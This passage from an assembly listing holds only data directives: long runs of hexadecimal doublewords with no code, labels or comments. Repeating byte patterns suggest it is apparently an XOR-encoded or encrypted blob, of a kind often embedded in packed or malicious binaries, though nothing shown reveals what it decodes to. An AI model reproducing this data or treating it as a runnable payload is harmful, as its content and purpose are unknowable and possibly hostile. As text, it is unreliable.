4228A614h, 223BFC06h, 0BCE01566h, 257E669h, 25290786h dd 0CB52C599h, 11321577h, 0FA8A741Dh, 0C1FFF958h, 0DB3F9F16h dd 0A51E441Bh, 8821FCFBh, 77B71566h, 0CF8672Ah, 48E7C74h dd 7646FAB8h, 0F6C43CC2h, 0AF3374A5h, 17263303h, 88321D8Fh dd 149F7866h, 75B9BDB0h, 0CC8F9E02h, 0E8340179h, 2214C6E6h dd 0F3D0E4E7h, 113CFC07h, 628F1566h, 0D93C9515h, 4E78D3AAh dd 43689009h, 0A56FA0EDh, 0ADC71372h, 22321569h, 0E9335B11h dd 0F8C5508Bh, 21B81CAh, 0D169F878h, 9B5275C2h, 6BFC949Ah dd 257920C6h, 0E36AE6E7h, 9A534128h, 9C0674D3h, 4B9FE960h dd 22321DE4h, 13B11A66h, 0E8321566h, 78D4207h, 0E51FC929h dd 5E71E920h, 316338BAh, 0BBCDEA9Ah, 1B03E467h, 1EDB4A3Fh dd 47321566h, 9E56970Ah, 6A3293ACh, 7C040598h, 48F35B34h dd 45BB1A63h, 0DA321566h, 509FAA31h, 7F754A06h, 0B9FD94B1h dd 0E35D371Ah, 0D6B31189h, 0DAD22EF5h, 0EE15D2E7h, 0DA3306C9h dd 17BB1A39h, 0E8321566h, 0D173AA00h, 0DBB71607h, 0ED340142h dd 97EF98EDh, 15C71372h, 5521AB30h, 653327ABh, 76C1142h dd 571A9466h, 4200D811h, 70E39E00h, 8832188Fh, 0CFFE2566h dd 334DFB5Dh, 0EA14C473h, 709F6317h, 0B3B34606h, 41E996DDh dd 0E0B3733Fh, 0DB532796h, 0D25D73DDh, 0C4F19468h, 90478428h dd 6B155185h, 85E9E223h, 0C9B31685h, 0CFD4D886h, 1ED9C31h dd 1F6DE918h, 2232048Fh, 869AB766h, 65846666h, 33362E5h dd 0CC542056h, 1ADB8E9Ah, 0CD321566h, 686CCB84h, 515EDBDDh dd 0A4BBD984h, 8E262107h, 44339369h, 0A1C71566h, 943DEA9Eh dd 883215F6h, 0B8BAA006h, 0FF0C9407h, 1EEFC8BBh, 88326AE3h dd 4422FC66h, 5E8A1566h, 0D6438F14h, 0B9510688h, 3AA4C320h dd 996176E6h, 11321566h, 94B90BEFh, 40F69642h, 2232068Fh dd 60ABD966h, 8E94F162h, 0C19A15C0h, 0BFBBD34Bh, 85EA320Bh dd 8836AD36h, 0AAB31566h, 42176246h, 0D7B3D367h, 0E8176246h dd 443AFC3Eh, 0A7371566h, 567AEA1Eh, 3DBBD4E7h, 42262107h dd 2232048Fh, 9348CC66h, 301A0A94h, 0A071D105h, 0AF55EC91h dd 0A0DB0CA3h, 71CDEAB4h, 0B131D5A7h, 6CB9065h, 9C3D1372h dd 88321561h, 4B6D4506h, 0A153EED9h, 51DBCDBh, 0C3D1460h dd 44321645h, 22321A8Fh, 36892666h, 6381E920h, 0B9020A2Ch dd 405DC6B2h, 1132018Fh, 487B966h, 0AE602491h, 847B1D14h dd 0D5F0F237h, 0D9A19B26h, 0EE0C940Ch, 2D98BFCCh, 11324BE3h dd 3062E066h, 44321562h, 26B9D367h, 15F69442h, 7D321566h dd 57B2AC37h, 0E3734CA9h, 0F0F3168Fh, 54DB9464h, 0C574161Eh dd 0C622F197h, 0ED7C9C80h, 0B1619EDh, 2CCB11A2h, 2232756Bh dd 461611EFh, 9524A3Eh, 16E80E89h, 43524378h, 0A6617439h dd 76BA478Fh, 1F68E5EEh, 221DFC93h, 41CE1566h, 0AC369E31h dd 1B36D1E5h, 9561449Ah, 0D9C59546h, 69E8EEh, 0CF3D4C8Eh dd 22321577h, 1132198Fh, 5D495566h, 0E7EBB29Bh, 7E48CE6Ah dd 47F47D87h, 8CBB1566h, 43DA7542h, 0E321566h, 2FBFC359h dd 4C84A433h, 6DE3AF3Dh, 0A1533CECh, 51E4CDBh, 0C3D1460h dd 44321468h, 2B5A439Ah, 4F7F7741h, 0FD6FAA31h, 93C51FD8h dd 8E99E2E7h, 0EF1BAD45h, 0D6C29C39h, 0EC8F969Eh, 22340E1Eh dd 11149169h, 5CA1566h, 5EF5B1FBh, 98527560h, 0A8A04Bh dd 7AB97307h, 97CDE007h, 22389E69h, 1E521566h, 883215E7h dd 25C59E66h, 2DA22AE6h, 11325EE2h, 8837FC66h, 423E1566h dd 0A3562C5Ah, 1132118Ah, 0AC2E9C66h, 443210DDh, 79ED1466h dd 108BFC9Fh, 83D1566h, 44321571h, 2232078Fh, 56639366h dd 2E96E8A6h, 91245820h, 0C942190Ch, 71C37C77h, 88379B69h dd 0C5541566h, 43307195h, 1E62EDE5h, 883274E4h, 4EB21A66h dd 42321566h, 77FDAA69h, 0F689C7E7h, 22C7A507h, 0A76A037h dd 356B738Eh, 74CD11B5h, 40B9ECCCh, 0C0BB4742h, 1136D7E7h dd 4AB11566h, 60269262h, 223EFC3Ah, 47521566h, 1B1A754Fh dd 1814BD2Dh, 4298D48Bh, 0AA54DBEDh, 615361A0h, 443215C7h dd 22321C8Fh, 96D6F66h, 744DB674h, 70CD3BDCh, 0E6B14D42h dd 90547562h, 0E9EC1CBFh, 44339469h, 88CB1566h, 0AEE19506h dd 70B97306h, 44329A69h, 43531566h, 0F8CD6AE6h, 88519069h dd 0C7CA1566h, 394ABDDBh, 953D1560h, 88321542h, 443E9769h dd 0A93D1566h, 11321560h, 88329E69h, 0D9BF1566h, 2428D3BFh dd 0CFB37306h, 0BF86028Ah, 0B1E1EA07h, 2236F9E7h, 5BB1566h dd 0F49D42h, 4B681111h, 223209E6h, 1EDB7566h, 0AD321566h dd 932031B4h, 874BC1D5h, 355B3F97h, 52B3EE45h, 9C6024h dd 0FFB79E07h, 0F8340179h, 88321572h, 8DD33ABh, 0B2B30108h dd 0F1235E4h, 0C53D9221h, 3803CCA3h, 6334AF34h, 0D3B33450h dd 0C45F33ADh, 6D68C567h, 45E3389Eh, 2DB78C5h, 0FA321566h dd 0C86C2BB2h, 70C3A830h, 0E5200ECCh, 5AE7DB64h, 0FA642612h dd 22321562h, 19376263h, 0A5C23C48h, 6A3A1011h, 2220FC38h dd 0CA231566h, 421BA5AFh, 53874CD5h, 0B79B4710h, 0B7B28E8Ch dd 9CB91ACDh, 4B321566h, 22321BEAh, 113BFC66h, 0B5691566h dd 3A166B34h, 8F105B60h, 9A544606h, 9534BAEh, 4432118Ah dd 63E9C66h, 113215DFh, 747C9C66h, 5DBD1A3Fh, 0CB321566h dd 11321572h, 91BCB3BAh, 0AA9842C7h, 1579459Eh, 0D61F7916h dd 0B934DEBCh, 0BBC9C08Fh, 24DB7599h, 0BC321566h, 380DE3AAh dd 4423FDE9h, 88391566h, 0B9E0B43Ch, 95268FC1h, 5B1F41DFh dd 0CB5A95DBh, 1132156Ah, 41BBF7Eh, 9A446EEDh, 66A5E96Ch dd 0A4BB743Dh, 8E262107h, 0FB3D7506h, 8F887394h, 9054749Dh dd 0E9B908A9h, 446CD50Eh, 6269C66h, 1132128Fh, 131E2B66h dd 13D30B94h, 22B2150Eh, 1BBC1A66h, 61321566h, 44321563h dd 0C715A561h, 1E327FC1h, 883219E7h, 42B21A66h, 2D321566h dd 113215E9h, 3DCDE966h, 4226243Bh, 0EFA7EA9Ah, 0F8340160h dd 88321575h, 947F25A9h, 31FFCF9Fh, 0C01C8E2Eh, 0B6EFA40Fh dd 0BBEC9B43h, 0A3683152h, 113211A2h, 5B9ED66h, 4226108Fh dd 22369369h, 9A521566h, 0D96574B6h, 64667CDFh, 7BFD9C7Ch dd 455B14A1h, 0B11B0F46h, 51BE1A39h, 0CB321566h, 11321576h dd 8391AB94h, 28F8DDD5h, 5A38E789h, 0B6194E1Ch, 8836A833h dd 0AD331566h, 0A31639EDh, 113211A2h, 883EFC66h, 849B1566h dd 0E9F07969h, 0E1A0A368h, 5BBE905h, 4226108Fh, 2232138Fh dd 0BF546066h, 61801D83h dd 0BBCDD3F0h, 0EDB24506h, 1FDB4C32h, 1F321566h, 0B32712BDh dd 9923D8A6h, 5C94A89Bh, 0E3D7410h, 44321567h, 931FC93h dd 1DDB1566h, 0B6321566h, 648D9D59h, 74AD7C21h, 7188C138h dd 61BF9E93h, 24340163h, 2DF89E00h, 113215E8h, 0DE527466h dd 44329C69h, 0CA681566h, 11321577h, 377BB6E2h, 232FB75Dh dd 255B4AF7h, 0A21FB565h, 0A5FA944Ch, 1C3F09C8h, 26DE9407h dd 98321566h, 88883172h, 45321566h, 78389EACh, 0B5BF9C9Ah dd 0E8340E1Eh, 4BC5AA69h, 22320FE1h, 1126FD66h, 0BFB51566h dd 6A7E3A6Ah, 7CF47D1Ah, 0A3701E62h, 0C1D08BD1h, 256A4D5Eh dd 767C2DE7h, 943D5922h, 883215E4h, 4421FC9Ah, 6EF61566h dd 95FBB24Bh, 0D99ECEC8h, 4E308DABh, 0F09F328Eh, 69B3731Ah dd 871C5962h, 443248E3h, 23BF1A66h, 0E8321566h, 0AC069436h dd 5C768CEh, 0A11621EDh, 0E7B311A2h, 0C9C768CEh, 428F4093h dd 23321566h, 351E9E88h, 0E836D1E5h, 24ED9400h, 4ED49541h dd 0ECB79E07h, 0E8340157h, 0F33D93D7h, 48DB74B0h, 71321563h dd 88321F8Fh, 23E53366h, 90F028ADh, 90E2C451h, 0B0C571B7h dd 0CD617441h, 0A9EC9CA5h, 0D5B3317Ah, 88321562h, 442F9F69h dd 0A13D1566h, 11321571h, 8832078Fh, 1E85CB66h, 3132624Ah dd 908FB3CBh, 0ABC52BF9h, 1495AD3Ah, 0A11601EDh, 0AF5211A2h dd 0A66B887Ah, 44BB1A06h, 43321566h, 0D803E007h, 8832188Fh dd 0C68BD666h, 0F3286E09h, 9CAB155Bh, 709ED6D1h, 0C03D155Ah dd 223214C4h, 11239269h, 84DB1566h, 4E321566h, 0FB0FF5FDh dd 78148A5Fh, 0B44E942Eh, 93B61A4Bh, 2DCDEA99h, 113214E4h dd 0A60EE066h, 453F9169h, 0A53D1566h, 11321577h, 883BFD06h dd 31F11566h, 631F1B36h, 4B9DF320h, 87022907h, 44374EE4h dd 2EB81A66h, 1E321566h, 883213E9h, 44B51A66h, 1E321566h dd 9EB41A5Fh, 7DCDEA99h, 0C63D545Ah, 2232105Eh, 1E68299Ah dd 77CD68E0h, 443FFC99h, 0D4121566h, 4782654Dh, 8485259Fh dd 786C28C9h, 41B61A39h, 0F8CDEA99h, 88321569h, 0B17EF9A9h dd 566A25F2h, 863C8F47h, 0B4222A70h, 0BDB01A07h, 0CB321562h dd 1132156Ah, 0C097D337h, 7A4DC08Bh, 93D7B431h, 1E48299Fh dd 77CD38E0h, 4BDA7599h, 61321566h, 588B1DA4h, 0B023ED03h dd 78FC1E36h, 0CCB209C7h, 3DB4ABBh, 48321566h, 0C0FCB6F5h dd 0F4771753h, 0EA02182Dh, 517124Dh, 0EDDB74EDh, 42321562h dd 11309C69h, 0E9521566h, 42DBEC06h, 0CE321566h, 0EF4386C8h dd 0E85374F9h, 218B7306h, 2220FC1Ch, 0ABBB1566h, 0E558294Fh dd 3064A058h, 1F7039F1h, 3B640695h, 79B37307h, 1153D2E0h dd 223214DBh, 4CD81466h, 87C02C93h, 44364EE2h, 2CBA1A66h dd 0F8321566h, 8832156Fh, 839A672Ch, 9FA86309h, 108B440Bh dd 0A1321566h, 16CA4CACh, 223214DCh, 4BE31466h, 88321A8Fh dd 650DF866h, 0BA0E4295h, 0AC18D81Dh, 9009581Bh, 0BBCC7C8Fh dd 2DBA1A99h, 0F8321566h, 8832156Ch, 9CAD1EB9h, 9539227Ah dd 0D8B7C4E7h, 8BCC9169h, 0C53D1566h, 22321567h, 4487989Eh dd 6134016Ch, 44321563h, 7420E868h, 7C5AE04Dh, 1321569h dd 40B33172h, 0F81F3242h, 0F8B34C01h, 0EFE83841h, 0BD8D1A06h dd 2DDB749Fh, 0A5321566h, 0CFF91475h, 2D2B530Ch, 0F0BAC96Fh dd 90600CAFh, 0E6E33162h, 116D5CF4h, 0B05CC4DBh, 4CDD3C2Fh dd 8832138Fh, 0EC8BEC66h, 0CB675732h, 11321563h, 37547128h dd 0DA874418h, 0CA02A5D6h, 921619EDh, 86DB11A2h, 86321566h dd 0D2863420h, 72BC4593h, 0B1EE7DA4h, 4437FCA2h, 0D11A1566h dd 0BF6C6B4Ah, 9ADBE813h, 82321566h, 5040B12Fh, 3473BF86h dd 76CF97A1h, 798BC115h, 4452759Eh, 70BAEEDEh, 0DF8D4207h dd 0C555D52Ah, 35713381h, 49F59423h, 0CF1E7C09h, 0F2F59421h dd 0BF5AF00h, 0E81B4A9Fh, 9E24D4E7h, 2CC72C42h, 22321566h dd 9A16194Fh, 4CB3316Ah, 44321562h, 9B63E093h, 59306CFAh dd 0A16BDA67h, 0D8DD94A9h, 0CB7A171Fh, 11321576h, 0C577D652h dd 0E4E20BF5h, 526633D6h, 0FEB57245h, 88218C0Eh, 600E9C66h dd 0CB6C4A30h, 11321575h, 70BAC7A7h, 95A293BCh, 856A9CBDh dd 0D5663FECh, 87353284h, 44321EE7h, 0A3547566h, 777F7891h dd 0E9CCB9DDh, 2252B195h, 7034CFE7h, 1137FC06h, 10D21566h dd 0ADFB31B9h, 2232156Dh, 0B43C4D4Ch, 8F7F6466h, 2568FD81h dd 2C844707h, 99C0A235h, 8869EA19h, 0AD68EA11h, 22321575h dd 4D3C8472h, 0E709FF53h, 0A09D087Ch, 31CFFCC5h, 9C01B1DEh dd 9C3840F3h, 4434FC60h, 0A2F11566h, 19134758h, 914F90EDh dd 4FDB1372h, 5E321566h, 0FBB23A36h, 2C41DB3Eh, 84B7182Ah dd 22489069h, 71C71566h, 3F3D93D3h, 0C1F47497h, 24260F3Fh dd 1120FC21h, 0AC9D1566h, 210BFA7Fh, 692565CEh, 847E995Ah dd 55EB4C59h, 0DE95C70Eh, 2223FCB2h, 0C4E01566h, 734373A8h dd 0F5C7C6DCh, 0BADBD157h, 0EE1648F8h, 9C28C4D3h, 0C1BFE060h dd 242595BDh, 113BFC06h, 0C3EA1566h, 0E8EE18D9h, 0DEF14006h dd 1EE2EA07h, 883206EDh, 443CFC66h, 0FEDF1566h, 0A3A9F9EAh dd 0ECEFD210h, 7EF7C149h, 0A3D09C34h, 113211A4h, 8CD89466h dd 0C3321566h, 0AB6E3172h, 0EECB3172h, 48B7E0B6h, 44ED9069h dd 44521566h, 0A40CD3E7h, 75D562DCh, 0CFCA7428h, 361D80E3h dd 16B51A60h, 87321566h, 443214EAh, 0E2B7E966h, 11439069h dd 87DB1566h, 9A321566h, 4FAE2020h, 5AC00336h, 11FC0B6Fh dd 0C1F49835h, 24260F3Fh, 0CBB9752Ah, 15EB9400h, 0AD5A74F1h dd 2DEBCF7Ah, 113214E7h, 3DCDE066h, 42260FB7h, 0F9B7989Fh dd 0E83402E6h, 8752C599h, 443201E1h, 223DFC66h, 24311566h dd 382EED1h, 75712A59h, 5511CC0h, 1122FCD8h, 0E7DC1566h dd 0AD572571h, 3B1FC3F9h, 755200E0h, 0B53DCE6h, 50BB118Ah dd 0F2CDE042h, 1132078Fh, 9F45FC66h, 7823616Eh, 0AE73A654h dd 0CD737645h, 0DEF2326h, 5AB71AA6h, 2D321566h, 113214E9h dd 45DBE066h, 4B321566h, 223219E5h, 17B81A66h, 87321566h dd 443215E6h, 86B79C66h, 0E9340E1Eh, 884FD20Eh, 60369C66h dd 222B9C69h, 5DB1566h, 93321566h, 7E458317h, 0CD116DBFh dd 1363805h, 0E7BA1A7Ah, 24894CE7h, 0A5673CDCh, 1137FC16h dd 0E24E1566h, 259FB04Bh, 2200A20Eh, 35069C66h, 3BE09406h dd 22135CA4h, 43586BDCh, 6D7490EBh, 77CB1371h, 45BD1AB6h dd 0DB321566h, 943DD56Dh, 88321559h, 4421FC06h, 7BB1566h dd 0F39967F9h, 0B784F072h, 8170F116h, 3FFEB7BEh, 90544707h dd 0D66CEAB0h, 4418FC07h, 36DB1566h, 0BF321566h, 0D14469FAh dd 0A2842F74h, 0AF2BB7B9h, 3F90E751h, 16D241Ch, 4B2E3122h dd 223212EEh, 4B647566h, 0E9F5A269h, 4420FC07h, 70C31566h dd 0E5200ECCh, 5AE7DB64h, 0FDBF2612h, 0C2795E02h, 113BFCA5h dd 0F1B81566h, 4A211E25h, 42F5F308h, 1132128Fh, 0C3CD6466h dd 18DEAA82h, 222A9A69h, 3DA1566h, 0DC321566h, 0A086F47h dd 0A4840F28h, 0BDE84B02h, 0B105BFA0h, 24534C3Bh, 0EDB37306h dd 9A5378DCh, 934AB1EBh, 0A1B27560h, 223DFC95h, 5F021566h dd 6CDD9B42h, 2E7D9385h, 1190FC78h, 18DB7485h, 0DC321566h dd 0AE221788h, 0A74A0EAEh, 1145F50Eh, 0AC369C66h, 0ABB37306h dd 0A35425E6h, 70368CA5h, 8806300Eh, 603E9C66h, 2239FC3Eh dd 10FE1566h, 0FF040FA8h dd 5E6D793Ch, 0F5B3754Bh, 22CBEC81h, 0E9F7C1E6h, 440EAC37h dd 0E3B31566h, 7D5E6C80h, 61B3D467h, 285E6C80h, 2D6B1465h dd 113212EAh, 89B91A66h, 0BD321566h, 22BAA599h, 25B31566h dd 9D6DDD42h, 60269E5Bh, 2236D1E7h, 0E3B31566h, 0B5274AAEh dd 0BBD29506h, 0A79BB4DDh, 84BB7428h, 8E2601FBh, 0BC88479Fh dd 23321566h, 35269EB6h, 8836D1E7h, 22521566h, 0DD53EEEDh dd 3DB31916h, 0FA585042h, 0FC624F1Fh, 5B407F23h, 1E6AD767h dd 88320CEBh, 57B11A66h, 0CB321566h, 11321568h, 929D6661h dd 0CE2BCCBBh, 1AFBA0Ah, 84BB4F24h, 8E261F47h, 443DFC06h dd 5911566h, 0F232B218h, 8D712664h, 384B4883h, 26B974DBh dd 0F2BB4642h, 8836D6E7h, 87B11566h, 62E9262h, 65CDEC3Ah dd 8CB93142h, 40F69642h, 0A23D7506h, 11321566h, 3544507h dd 12534AA1h, 0D17080D8h, 0E7B35B2Ch, 0E2E31BA4h, 59D2F3E7h dd 0ECB34ADAh, 319E5396h, 0EF44E3E7h, 0B41B0111h, 27FA3C38h dd 25E93CE0h, 883FFC06h, 43C31566h, 0B396733Dh, 0F2B4AA98h dd 0E9FE620Eh, 4E13905Dh, 0A03D1372h, 11321532h, 883A9769h dd 0C03D1566h, 22321564h, 94097406h, 8E2601FBh, 44089669h dd 0CB521566h, 11321568h, 0D8E13298h, 9D4C14BAh, 0AE15C4A2h dd 16DA272Fh, 0A2321566h, 0E95323CAh, 0A35430FAh, 4FF419B9h dd 4ACE7407h, 4DDB1562h, 11321566h, 59E1CAFBh, 48D7A3BDh dd 48BA1A07h, 2D321566h, 113213EBh, 88B01A66h, 0B8321566h dd 0AD1611A1h, 0E6455771h, 31633172h, 0CC8FFD16h, 2616594Fh dd 6B41A3Fh, 61321566h, 44321574h, 61353CC1h, 0BB9317DFh dd 5CDA046Eh, 0F5B2E3Ah, 75CABBF8h, 3DBEAD36h, 0FC8D649Ah dd 45BC16B5h, 5EBB4DA1h, 1E6D1D42h, 883214EEh, 2C67E966h dd 8620E80h, 0E8F7943Bh, 49439F69h, 0A9B3138Bh, 205D7DCCh dd 0E46FFDEFh, 0C54B98EBh, 0CF521372h, 22BA1A9Eh, 70321566h dd 0E8D3EA93h, 0C5FAAA69h, 0F2FCBE81h, 71527444h, 0BE65AD00h dd 40DE9607h, 9B1619EFh, 11321566h, 89B8E467h, 443AFC3Fh dd 7BE61566h, 541F9FF6h, 610E2F51h, 45AB9169h, 0AE3D1566h dd 11321571h, 8832078Fh, 0DEEBA966h, 9EB11170h, 0C8AE7491h dd 0C963E5Ch, 78AF717Dh, 85B61A8Eh, 1E321567h, 88320DEEh dd 0FF547566h, 2FDBD28Fh, 0ED321566h, 0FB4A1CCBh, 8BC18C48h dd 2AF15C49h, 1126FC07h, 44C31566h, 62435EFCh, 562DFB7Dh dd 0A9F30148h, 2D99FE34h, 4B0E593Dh, 22B39169h, 5DB1566h dd 23321566h, 7530BC5Fh, 0A58A2991h, 4A4EFA70h, 68652A3h dd 0ADA29B99h, 2232156Bh, 406D9CAEh, 0D4DC1378h, 92D91AF3h dd 2DFF2907h, 1133BFE2h, 8EDB7566h, 0A3321566h, 8E1E7C04h dd 7021A436h, 88389F69h, 41DB1566h, 50321566h, 1669340h dd 0C3DFE5Ah, 443214DFh, 0DFB8759Ah, 3FFB9400h, 61537494h dd 44321563h, 0DD32267Fh, 1BBB1A66h, 0E8321566h, 44329C69h dd 78651566h, 40CBD607h, 883214DFh, 0F2DB9466h, 230F1B0Ch dd 0A7F39497h, 20F1B0Ch, 0F2524C7Fh, 0D8D7371h, 0A56274F5h dd 3D13596h, 80B13162h, 2223FC62h, 89B31566h, 74391BA0h dd 2635C7E0h, 9438AD2Fh, 9138DFD0h, 0D3D959Dh, 0BBCDEAFCh dd 22B51A06h, 0A4321566h, 0D864746Bh, 0F90170DEh, 6762465h dd 90694D62h, 35017095h, 45B71A65h, 0D7321566h, 178D4237h dd 1321566h, 8F334A9Fh, 0AA5AEC3Fh, 98321569h, 8A8B316Ah dd 45321566h, 7B2B1697h, 1132078Fh, 959E5266h, 0EBE9EAE7h dd 56797AF4h, 0AAD005ACh, 619D54B2h, 443215F4h, 2232138Fh dd 92749166h, 77C25520h, 0FF611410h, 441824E3h, 15164967h dd 63B34E3Dh, 221824E3h, 22321B8Fh, 994D1A66h, 0EDCD1E19h dd 31266778h, 0D7D3EB9Dh, 1EC9EEE5h, 8832D5E2h, 515AEC66h dd 0AB32154Ah, 15B33152h, 345C5642h, 0AFB34E54h, 108E7B25h dd 79674593h, 0FDBB0436h, 15C7943Bh, 0AB479C77h, 0E133488Eh dd 876A0D65h, 44321DE3h, 0AA3D7566h, 11321566h, 928A4507h dd 614EE866h, 3E084EE7h, 0C23E2953h, 7BFB1023h, 8733B372h dd 81DBE03Eh, 1ECDEA98h, 883203E1h, 4423FC66h, 0CA901566h dd 0C62920E9h, 0DB7B8A64h, 26F5509Bh, 2D4D04EFh, 71334BD0h dd 0C1539D8h, 0CC3D4275h, 22321566h, 7752743Dh, 70BA65DDh dd 6AD99607h, 0DC569169h, 71CAEA99h, 0A8CAAA00h, 4429FC07h dd 0A43D1566h, 11321567h, 894C959Eh, 3B71A98h, 0CBCDEA98h dd 11321563h, 0A86BEAAh, 0B898FCBAh, 0A93DEA99h, 11321579h dd 882B9969h, 50DB1566h, 0B2321566h, 0A3CCCF26h, 0C29DF63Dh dd 0C5AEBCEDh, 0F1B1BC2Eh, 4789530Ah, 4EB3F3EFh, 44321562h dd 2236FBE7h, 25B51566h, 0BCBB4942h, 22C77542h, 8B22F3E7h dd 0F1BB4507h, 88321163h, 40DA9666h, 7E1611E1h, 0F81619EFh dd 88321568h, 5B849085h, 0A1BEB4EAh, 0A94F6A2h, 1617C08h dd 40F19485h, 0A3321566h, 1132118Dh, 0AC2E9266h, 602E9C3Ah dd 3C807D9Fh, 2DBB1566h, 53D7542h, 4432156Ah, 2232138Eh dd 59D7FB66h, 0D33DE8CBh, 0ADF22407h, 22321577h, 0D0E3A359h dd 92FBA035h, 0B981B11h, 0C5BFDC28h, 92CBB9E8h, 84BB118Ah dd 0CCF39D42h, 0A63D4CADh, 11321575h, 88321B8Fh, 0F6757666h dd 554C62ECh, 0F74BD2F4h, 9A03C4Eh, 4432118Ah, 6269C66h dd 0FFB26AD0h, 48DCC541h, 0AAB21688h, 78C13573h, 1132058Fh dd 27B06C66h, 886A8DB5h, 25F87055h, 0DE7E6BCCh, 0F8C99568h dd 41429169h, 42CB1566h, 11319A69h, 3541566h, 898D73BFh dd 2D0E747Fh, 11DD9169h, 0B4CB1566h, 69B61A8Fh, 4232156Dh dd 0FA0E7493h, 87089169h, 78CB1566h, 0B9B61A85h, 0F8321565h dd 8832156Ah, 55A661BBh, 63FFE5BAh, 0BAC4B580h, 0C3DF75Ah dd 443205ADh, 678B7306h, 113FFCACh, 24C11566h, 0BF4B872Fh dd 0DF52D184h, 70FEF562h, 0D91629EDh, 85B3F4EFh, 22321562h dd 9636D4E5h, 746E316Ah, 141609EDh, 2637F5EFh, 14321566h dd 88321562h, 181611E1h, 26B01A06h, 77321566h, 61D8BDDDh dd 44321574h, 0EC9D52D0h, 0A745273Eh, 6D13EC7Fh, 0A9B84557h dd 0A9532669h, 9865316Ah, 8CF59481h, 0C7321566h, 1EB511A1h dd 9ACA4942h, 1643152h, 40F49480h, 0A3321566h, 113211A0h dd 0AC069266h, 443FFC3Ah, 0A291566h, 0D773B862h, 4988E4F3h dd 87963580h, 2239FD06h, 7B021566h, 436C22FFh, 9B3082BCh dd 34E994C8h, 4A58E92Eh, 0FCB7D207h, 42340E1Fh, 2D321566h dd 11321DE8h, 8AB11A66h, 24321566h, 22884707h, 90321566h dd 0B921C3A4h, 0C5C01459h, 1321C38Ch, 4B289F59h, 8832138Fh dd 0EBD5C166h, 4234A008h, 11369669h, 33541566h, 2253D506h dd 2C2A037h, 1DB9738Dh, 8AF69442h, 0AD321566h, 22321576h dd 649750CDh, 0A4F92D44h, 8B3111F0h, 0DC9AC659h, 1EB2EEE6h dd 77CCFEE3h, 443DFC99h, 57671566h, 0F6FF7334h, 9FF92428h dd 0BFA1CD5Ah, 0DD8F400Ah, 10CDEA99h, 9ADB4888h, 37321566h dd 2A488AFBh, 0C00931A7h, 36C67B8Ah, 2271EB2Bh, 0D7B79E7Ah dd 0ED340162h, 9B9380EDh, 12CB1372h, 0A11609EDh, 0F85211A2h dd 8832156Dh, 0DA6708BEh, 3AA9F756h, 0EDDAB338h, 8E8C4307h dd 45321566h, 6069E95h, 1136D1E7h, 73D1566h, 44321573h dd 2232058Fh, 0AFFE4066h, 403E57B3h, 2415507Bh, 0EB865D60h dd 0A863ED1Dh, 88321564h dd 3525FCE7h, 0D3336D5Bh, 6025D4E7h, 91316D5Bh, 54B41A3Fh dd 42321566h, 1132138Fh, 0D6537C66h, 4B6BDAABh, 1953D3D1h dd 48B01ABEh, 87321566h, 443236EAh, 2EDB7566h, 0E5321566h dd 0DD400C17h, 5D277C3Bh, 0CB10CB78h, 1132156Dh, 0A4FED68Bh dd 95C5B9C7h, 431A9676h, 1132068Fh, 0D5135466h, 947827BBh dd 0FA6E565Ah, 0BFE572D5h, 0ABAB9A2h, 0C23DCF5Dh, 0DDCDE882h dd 11321F8Fh, 913A3766h, 867DFB2Dh, 0D715547Ah, 6E71AB30h dd 7B333F99h, 0C5C93C38h, 0DD4D568Dh, 1134FC4Ch, 9821566h dd 88248772h, 0AB36F9E5h, 178F314Ah, 0A1321566h, 41DB488Dh dd 0B8321566h, 0C5D9D081h, 7D52B800h, 2253F6D2h, 0FA03ECCDh dd 0C903D657h, 8832068Fh, 0FCF5FE66h, 0E4C4D08Eh, 3A89222Ah dd 0F4891F21h, 15C44301h, 223FFCCDh, 1CAC1566h, 9F6A8CA3h dd 57764005h, 7375E6F7h, 113211DFh, 4FDC9466h, 4543A238h dd 0E5F494A8h, 4843A238h, 88359069h, 0CA3D1566h, 22321567h dd 350E9C9Fh, 8832108Fh, 0CA08AF66h, 56BB95C3h, 98C71942h dd 9C13A0D3h, 43B41A60h, 42321566h, 0AE3D23D4h, 0B4B974BCh dd 0A6BB4742h, 2236D7E7h, 0D3B11566h, 0AC269262h, 0BBCBE03Ah dd 0A1693152h, 425211A2h, 0D7C3A269h, 818A7306h, 43537568h dd 353E9E07h, 9D79C33h, 443211A3h, 26F79666h, 4D1639E1h dd 88321F8Fh, 0B8E51066h, 0BAD01234h, 9A15E017h, 1653152h dd 40F59481h, 0A3321566h, 113211A1h, 0AC0E9266h, 0CD64ED3Ah dd 26F49480h, 92321566h, 0BC0111A0h, 60062442h, 7E162155h dd 0CEEAFC9Eh, 0EE52EA99h, 0D01FD5E7h, 0A7F57493h, 17296C12h dd 88321564h, 0B4BB459Fh, 0DB6A4E36h, 0E93CA369h, 87B2ECE6h dd 44324EE5h, 223EFC66h, 0A0901566h, 9512E026h, 0E8BBB20Bh dd 9C647779h, 9063AFh, 896CE667h, 8DD994ADh, 0DE23B710h dd 0EECDAB30h, 7B1BEA99h, 59B01A38h, 2D321566h, 113202E0h dd 8820FC66h, 4FB01566h, 0DD906876h, 0D4ECDE14h, 0CB8FDD4Ah dd 3EBBE849h, 2232988Fh, 9152EC66h, 0E9CB08A4h, 0E7834435h dd 0D43AFCA6h, 91EBE3BFh, 47BACB97h, 0C4E5E33Fh, 0C5F283A1h dd 0EF59563h, 0E869EC4Eh, 4432108Fh, 0BDB73766h, 0AE546AF4h dd 7F53C518h, 45F396B7h, 22321F8Fh, 0DA723266h, 9EA37972h dd 2C4AE567h, 223236BCh, 0AB1601EFh, 88321599h, 0B168C447h dd 22339B69h, 41CB1566h, 3B7E44DEh, 4CD2D411h, 25D2D42Eh dd 5934F5A7h, 0C5407E63h, 1CF13CA3h, 0E1B3DE4Fh, 5E5F470Ch dd 8832108Fh, 0B1942066h, 0A7B99AD0h, 17261193h, 29A79E93h dd 0BC340175h, 4407A506h, 7007C5D8h, 922FA8E5h, 4B331372h dd 223680E2h, 1EDBED66h, 57321566h, 49FC860h, 0FF2FC577h dd 62294414h, 4B0B1285h, 404A9769h, 0A23D1566h, 11321572h dd 88321A8Fh, 0ABF25C66h, 8F292EA0h, 0F8F9B698h, 14A9A93h dd 0C63DC65Fh, 0DDCDEE52h, 17B51A06h, 87321566h, 443215EAh dd 223EFC66h, 0F6A01566h, 0ABCC382Bh, 9D178E73h, 0CB53F7B7h dd 11321154h, 8838FD06h, 320E1566h, 636D2C7Fh, 0A6C9D9E6h dd 7F46C3E7h, 0CF697A6Fh, 0A7F5749Dh, 17296C12h, 88321564h dd 44259C69h, 0AC3D1566h, 11321577h, 8832198Fh, 0E2A95566h dd 0B0EC1B25h, 668A990Eh, 